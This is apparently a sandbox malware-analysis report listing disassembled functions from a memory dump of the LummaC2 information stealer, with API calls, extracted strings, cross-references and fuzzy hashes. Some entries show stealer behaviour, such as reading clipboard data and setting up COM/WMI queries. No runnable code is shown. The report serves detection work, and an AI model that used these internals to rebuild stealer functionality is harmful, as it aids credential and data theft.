Function 00D76BF0 Relevance: 20.0, APIs: 10, Strings: 1, Instructions: 718memorycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00D8168C,00000000,00000001,00D8167C,00000000), ref: 00D76E11
SysAllocString.OLEAUT32(F5A3FBA8), ref: 00D76EDA
CoSetProxyBlanket.OLE32(D77F9D52,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00D76F18
SysAllocString.OLEAUT32(68DA6AD6), ref: 00D76F6D
SysAllocString.OLEAUT32(BD01C371), ref: 00D77025
VariantInit.OLEAUT32(F8FBFAF5), ref: 00D77097
SysFreeString.OLEAUT32(?), ref: 00D77382
SysFreeString.OLEAUT32(?), ref: 00D77388
SysFreeString.OLEAUT32(00000000), ref: 00D77399

Strings

\, xrefs: 00D76DCB

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: String$AllocFree$BlanketCreateInitInstanceProxyVariant
String ID: \
API String ID: 2737081056-2967466578
Opcode ID: 7456154694c4b40032463bc77151311259909187db94b6db1f8f061a45ba8179
Instruction ID: 679811b15468868ff77442db977e0fa0c9aa53c3b3d4381960aff2aaf887599e
Opcode Fuzzy Hash: 7456154694c4b40032463bc77151311259909187db94b6db1f8f061a45ba8179
Instruction Fuzzy Hash: 2332DF71A483408FD714CF28C89076BBBE5EF95314F18892DE9D99B391E774D809CBA2

Function 00D4B14F Relevance: 15.5, Strings: 12, Instructions: 473COMMON

Download Yara Rule

Strings

.L~R, xrefs: 00D4B181
EtEz, xrefs: 00D4B1D6
BpAv, xrefs: 00D4B1CC
;lMr, xrefs: 00D4B1C2
9D,J, xrefs: 00D4B173
gTuZ, xrefs: 00D4B18F
Kh;n, xrefs: 00D4B1B8
fPcV, xrefs: 00D4B188
6\/b, xrefs: 00D4B19D
DxY~, xrefs: 00D4B1E0
'H%N, xrefs: 00D4B17A
7, xrefs: 00D4B5E9

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 'H%N$.L~R$6\/b$7$9D,J$;lMr$BpAv$DxY~$EtEz$Kh;n$fPcV$gTuZ
API String ID: 0-762781089
Opcode ID: 483e63cf9568db926a5285420c211afa2f3243f8016a82a1c40c9155e58cb076
Instruction ID: 5760809ad04b0a708849e6630b1482bba5ce1aaecfcab94837177f67c2c38d51
Opcode Fuzzy Hash: 483e63cf9568db926a5285420c211afa2f3243f8016a82a1c40c9155e58cb076
Instruction Fuzzy Hash: B502A8B5210B01DFD3248F29DC91796BBE2FB89710F14896CD5AA8B7A0DB74E841CF60

Function 00D63FF1 Relevance: 14.9, Strings: 11, Instructions: 1151COMMON

Download Yara Rule

Strings

|*z(, xrefs: 00D6488C
^_, xrefs: 00D64223
XY, xrefs: 00D64FE1
?2, xrefs: 00D64418
`.`,, xrefs: 00D64881
RQ, xrefs: 00D64423
Um, xrefs: 00D647F2
~C, xrefs: 00D647E7
}{, xrefs: 00D647D1
~x, xrefs: 00D647DC
GZ, xrefs: 00D6442E

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: ?2$GZ$RQ$Um$XY$^_$`.`,$|*z($}{$~C$~x
API String ID: 0-3286641888
Opcode ID: a68b550e985af79979c11ae9bebc375eec3950f8040d8629bc4473a1a3852284
Instruction ID: 90817de33e7c76485b8a6b53b201a79768b947b18dba4fd73f321d7c48036b29
Opcode Fuzzy Hash: a68b550e985af79979c11ae9bebc375eec3950f8040d8629bc4473a1a3852284
Instruction Fuzzy Hash: 3AA295B520C3818BC334CF24E8417AFBBF2EB95300F14892CE5DA9B255E7719946CB96

Function 00D50F71 Relevance: 14.5, Strings: 11, Instructions: 732COMMON

Download Yara Rule

Strings

t, xrefs: 00D512E2
5, xrefs: 00D5144C
T, xrefs: 00D5186A
}, xrefs: 00D50F7F
F, xrefs: 00D50FF4
F, xrefs: 00D51743
*, xrefs: 00D51579
8, xrefs: 00D51571
V, xrefs: 00D5187A
x, xrefs: 00D517E7
E, xrefs: 00D51872

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: *$5$8$E$F$F$T$V$t$x$}
API String ID: 0-2030276459
Opcode ID: cb8f40373aac59f6d5b4d709d80c0c7d620bb493cb621718939d6314ffd4ba53
Instruction ID: b6c94516e038f1656403a0854af84d06a328b6b9a32a70cee4007869f0b9ef80
Opcode Fuzzy Hash: cb8f40373aac59f6d5b4d709d80c0c7d620bb493cb621718939d6314ffd4ba53
Instruction Fuzzy Hash: F0527E7560D7908BD7249B38C4953AEBBE1AFC5314F198A2EDCD9C7381D63888498B63

Function 00D61550 Relevance: 14.2, Strings: 11, Instructions: 497COMMON

Download Yara Rule

Strings

k, xrefs: 00D61762
!@, xrefs: 00D61583
,, xrefs: 00D61A6C
d, xrefs: 00D61767
U, xrefs: 00D61952
e, xrefs: 00D6176C
P, xrefs: 00D61961
[, xrefs: 00D61957
\, xrefs: 00D6175D
R, xrefs: 00D6195C
\, xrefs: 00D61B06

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: AllocateHeap
String ID: !@$,$P$R$U$[$\$\$d$e$k
API String ID: 1279760036-3655135053
Opcode ID: 5d5b283fd818ced97a7767110cf6cd4fca595bd2e1ae57443e8590bde41c3010
Instruction ID: a440126a1f65acdb6ddfcac250b2e8bff9655343c63b794e6fb94f93837a01ba
Opcode Fuzzy Hash: 5d5b283fd818ced97a7767110cf6cd4fca595bd2e1ae57443e8590bde41c3010
Instruction Fuzzy Hash: FA228C7960C7808FD3248F68C4913AEFBE1AB96314F198A2DE4D587392D775C845CB63

Function 00D5E230 Relevance: 9.9, Strings: 7, Instructions: 1107COMMON

Download Yara Rule

Strings

f, xrefs: 00D5E438
@Nxz, xrefs: 00D5E536
FEtp, xrefs: 00D5E5DF
]^he, xrefs: 00D5E55E
vvFE, xrefs: 00D5E546
pKp^, xrefs: 00D5E54E
WYRT, xrefs: 00D5E566

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @Nxz$FEtp$WYRT$]^he$f$pKp^$vvFE
API String ID: 0-4211064948
Opcode ID: b689d9e2b329648a3185e4e94cc984cbac21b2158f2c566c2597df8450cceba4
Instruction ID: 826713ae32913e46ccb33a5590f5840fbdf491871426534cd63820e333675a79
Opcode Fuzzy Hash: b689d9e2b329648a3185e4e94cc984cbac21b2158f2c566c2597df8450cceba4
Instruction Fuzzy Hash: 20724E7150C3418FCB29DF28C45062EBBE1AFD5315F188A6DECE587392D635DA09CBA2

Function 00D55640 Relevance: 9.7, Strings: 7, Instructions: 943COMMON

Download Yara Rule

Strings

UR, xrefs: 00D55AE3
s|}, xrefs: 00D5606E
YU]&, xrefs: 00D56170
Fi, xrefs: 00D55D71
>j%h, xrefs: 00D55976
wq, xrefs: 00D56063
JHN], xrefs: 00D55D66

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: >j%h$Fi$JHN]$UR$YU]&$s|}$wq
API String ID: 0-2664314784
Opcode ID: 07ff091a8ff5199408516c6c8fcdf3b9a4cf64563d51048a2df91daac41d8558
Instruction ID: 90f6589ac4f82ef7e0bca72bb12ab6999d07ae163ac25144dea8bf3022ae05ea
Opcode Fuzzy Hash: 07ff091a8ff5199408516c6c8fcdf3b9a4cf64563d51048a2df91daac41d8558
Instruction Fuzzy Hash: 235259B15083418BDB248F28D8517AFB7E5FFD5315F188A2DE889C73A5EB349805CB62

Function 00D51A94 Relevance: 9.3, Strings: 7, Instructions: 531COMMON

Download Yara Rule

Strings

c, xrefs: 00D52059
U, xrefs: 00D5205E
], xrefs: 00D51DB7
%, xrefs: 00D51E31
', xrefs: 00D51AA7
1, xrefs: 00D51C89
;, xrefs: 00D51B11

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: %$'$1$;$U$]$c
API String ID: 0-3216539101
Opcode ID: 55d7f9c4c0410fd37a82a92605c16184a9646ef718cdd1146e8f2a670899adad
Instruction ID: e72fd29cee9fcd1129bb53daa1f8c97007f1c6b22758c331ad46b98785c30654
Opcode Fuzzy Hash: 55d7f9c4c0410fd37a82a92605c16184a9646ef718cdd1146e8f2a670899adad
Instruction Fuzzy Hash: 2B12D47550C7908BC7249F38C4953AFBBE1AF95320F188A2EEDE9873D1D6358449CB62

Function 00D71B10 Relevance: 9.2, APIs: 6, Instructions: 152clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00D71B24
GetClipboardData.USER32 ref: 00D71B3F
GlobalLock.KERNEL32 ref: 00D71B58
GetWindowLongW.USER32 ref: 00D71BC7
GlobalUnlock.KERNEL32 ref: 00D71CE7
CloseClipboard.USER32 ref: 00D71CF4

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 44834a1387d7f7f58bab0260138b5ec7a9562a0a4175a03784321914b509c74e
Instruction ID: 6bf47834c993ad9dcb0452afd45261299cdf65d121fecc7c017db6ef51aab18b
Opcode Fuzzy Hash: 44834a1387d7f7f58bab0260138b5ec7a9562a0a4175a03784321914b509c74e
Instruction Fuzzy Hash: D851E07260C7818FC301AFBC888535EFAE1ABC5224F188B2DE5E9873D1E6748549C363

Function 00D49290 Relevance: 7.9, Strings: 6, Instructions: 429COMMON

Download Yara Rule

Strings

Egx|, xrefs: 00D492CA
kj, xrefs: 00D49458
clfg, xrefs: 00D492E2
C, xrefs: 00D495B5
CM, xrefs: 00D49608
RRP\, xrefs: 00D496DE

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: C$CM$Egx|$RRP\$clfg$kj
API String ID: 0-2969717086
Opcode ID: 7205f9d9b45afb0796eec4366d0d469d1e374ff805331be11343e4905182765d
Instruction ID: e12e26c7b89499d8aef722d48a8bed2ae3c608f3aced7fdecce736b7088f45f8
Opcode Fuzzy Hash: 7205f9d9b45afb0796eec4366d0d469d1e374ff805331be11343e4905182765d
Instruction Fuzzy Hash: 54C1087150C3908FD315CF3A84A03ABBBE29FD7215F1D896CE4E54B396D639490ACB62

Function 00D58095 Relevance: 7.6, Strings: 5, Instructions: 1319COMMON

Download Yara Rule

Strings

K, xrefs: 00D58162
(, xrefs: 00D582E1
Q230, xrefs: 00D58B93
', xrefs: 00D59102
d, xrefs: 00D58726

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: '$K$Q230$d$(
API String ID: 0-937174541
Opcode ID: 07fcda7a5f0f4b115166dbe3ef17deb4333ca08f55d2b2eb2763ed1b9dd99651
Instruction ID: b0d21bdf7b3fa78924f6eb33bdc81df8cc59063f4078f63d089ef96bd420e3f5
Opcode Fuzzy Hash: 07fcda7a5f0f4b115166dbe3ef17deb4333ca08f55d2b2eb2763ed1b9dd99651
Instruction Fuzzy Hash: 259259716083418BDB24CF28C8917ABB7E2FFD5355F18896DE8C59B391EB348909C762

Function 00D626D3 Relevance: 7.0, Strings: 5, Instructions: 769COMMON

Download Yara Rule

Strings

0, xrefs: 00D62888
r~, xrefs: 00D62A16
1{, xrefs: 00D62A0E
zw, xrefs: 00D62A06
?<, xrefs: 00D62AB6

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 0$1{$?<$r~$zw
API String ID: 0-3209727026
Opcode ID: ea54e599e6a09eeea7bcdfa282e5eabb910c98a5a3db3cd56e62245951320eda
Instruction ID: 730f03d12803ef80fdd882bb9b0586cdd6e42f1051c280926e36a3955dd72198
Opcode Fuzzy Hash: ea54e599e6a09eeea7bcdfa282e5eabb910c98a5a3db3cd56e62245951320eda
Instruction Fuzzy Hash: 81421375618351CFD329CF28D89176ABBE2FF85310F19896CE8D59B391DB349801CBA2

Function 00D670F9 Relevance: 5.8, Strings: 4, Instructions: 802COMMON

Download Yara Rule

Strings

LL, xrefs: 00D672E0
p, xrefs: 00D672D9
=&2), xrefs: 00D674BA
>.8, xrefs: 00D674AC

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: p$=&2)$>.8$LL
API String ID: 0-1181295447
Opcode ID: 632cc2b918dc959475b5910185514fee0dd3323e2299ed241beb847e6660a8b6
Instruction ID: 6fde31da258daa43b70774536cc467c12a804ed94f94a8bbc128fae60f84d529
Opcode Fuzzy Hash: 632cc2b918dc959475b5910185514fee0dd3323e2299ed241beb847e6660a8b6
Instruction Fuzzy Hash: 8B4236B5E10615CFDB18CF28D85166EB7B2FF89314F18822DD856AB395DB34A811CBE0

Function 00D4C97C Relevance: 5.5, Strings: 4, Instructions: 533COMMON

Download Yara Rule

Strings

zw, xrefs: 00D4D019
1{, xrefs: 00D4D024
?<, xrefs: 00D4D0C2
r~, xrefs: 00D4D02F

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 1{$?<$r~$zw
API String ID: 0-614760689
Opcode ID: 9e1f3d5c34ca8cd91ccb46db184d2ac3bb06cc211564725479f4fb0d08577cf6
Instruction ID: 3de27e63fe4d9af1657993c4d9aa9237abdc94d2d32c1552190475cb7d5277e7
Opcode Fuzzy Hash: 9e1f3d5c34ca8cd91ccb46db184d2ac3bb06cc211564725479f4fb0d08577cf6
Instruction Fuzzy Hash: 2802BAB02093C18BD735CF25D4947EFBBE1EBD6344F18996CC8D99B252C73885468BA2

Function 00D5C205 Relevance: 5.5, Strings: 4, Instructions: 508COMMON

Download Yara Rule

Strings

./, xrefs: 00D5C544
g`a, xrefs: 00D5C864
|r, xrefs: 00D5C5CC
{x, xrefs: 00D5C6B5

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: ./${x$g`a$|r
API String ID: 0-1262855476
Opcode ID: b5e9f0f2399caddcd483521a82fb4afd73ec8528dab2581b21fd6f5be3e49e9f
Instruction ID: 8822f8aab5dca2c9fb2eef6d43b288e0207be51b60bcac869c4bb3a828e78a87
Opcode Fuzzy Hash: b5e9f0f2399caddcd483521a82fb4afd73ec8528dab2581b21fd6f5be3e49e9f
Instruction Fuzzy Hash: E8F13877A5C3109FD308DF698C4265FFAE2EBD4304F19D92CE8D49B345DA388A048B96

Function 00D71D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00D71D59
GetSystemMetrics.USER32 ref: 00D71D69

Strings

, xrefs: 00D71E56

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 1a563137c9bb62890f26ab98b1f8fd659ea20864360de00ddcb1a47f6d637e51
Instruction ID: 8fd17b2b01d97e321909629a5b92e0a3797c2429163570e9649d5e11d36e37f2
Opcode Fuzzy Hash: 1a563137c9bb62890f26ab98b1f8fd659ea20864360de00ddcb1a47f6d637e51
Instruction Fuzzy Hash: 99A159B04193818BD370EF28D588B9BBBE0BB85318F50892DE5989B750D7B59448CFA3

Function 00D659B0 Relevance: 5.4, Strings: 4, Instructions: 408COMMON

Download Yara Rule

Strings

/V, xrefs: 00D65A57
U+, xrefs: 00D65A4F
!J, xrefs: 00D65A67
Y\, xrefs: 00D65A5F

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: !J$/V$U+$Y\
API String ID: 0-2652480667
Opcode ID: 352fc94895e054260dba0b5869db87bbc0fbdadf60256df0f6f36800a135c044
Instruction ID: c9afa3904cf08e206cf74cde9a937b7163ffbd82ea6c0aae324daa884749c3a4
Opcode Fuzzy Hash: 352fc94895e054260dba0b5869db87bbc0fbdadf60256df0f6f36800a135c044
Instruction Fuzzy Hash: 3AE10FB5218300DFE3249F24E88176BBBF1FB95304F94892DE5D59B3A6E7309805CB62

Function 00D4AB20 Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

tefr, xrefs: 00D4ADEE
a|}r, xrefs: 00D4AC66
nww, xrefs: 00D4AD87
tefr, xrefs: 00D4AD64, 00D4AF78, 00D4AF81, 00D4AED7, 00D4AEE3, 00D4AFAC, 00D4AD20

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: a|}r$nww$tefr$tefr
API String ID: 0-1676423017
Opcode ID: 40b427ee2a6bb2f7856f5612f6acacd76cd1ea9443dad837e396e5e1ceffeaca
Instruction ID: 8fd84c858792faed0b5bde2ad5865c1765864d15573eaf0b15a3834b49e19ad9
Opcode Fuzzy Hash: 40b427ee2a6bb2f7856f5612f6acacd76cd1ea9443dad837e396e5e1ceffeaca
Instruction Fuzzy Hash: 40C1E4B568C3504BD320EF2888512ABFBE2DFD1304F58896CE4D59F346E635C80A8B67

Function 00D6C894 Relevance: 5.3, Strings: 4, Instructions: 308COMMON

Download Yara Rule

Strings

d, xrefs: 00D6CACA
0, xrefs: 00D6CB61
@, xrefs: 00D6CBB3
^TFW, xrefs: 00D6CC43

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
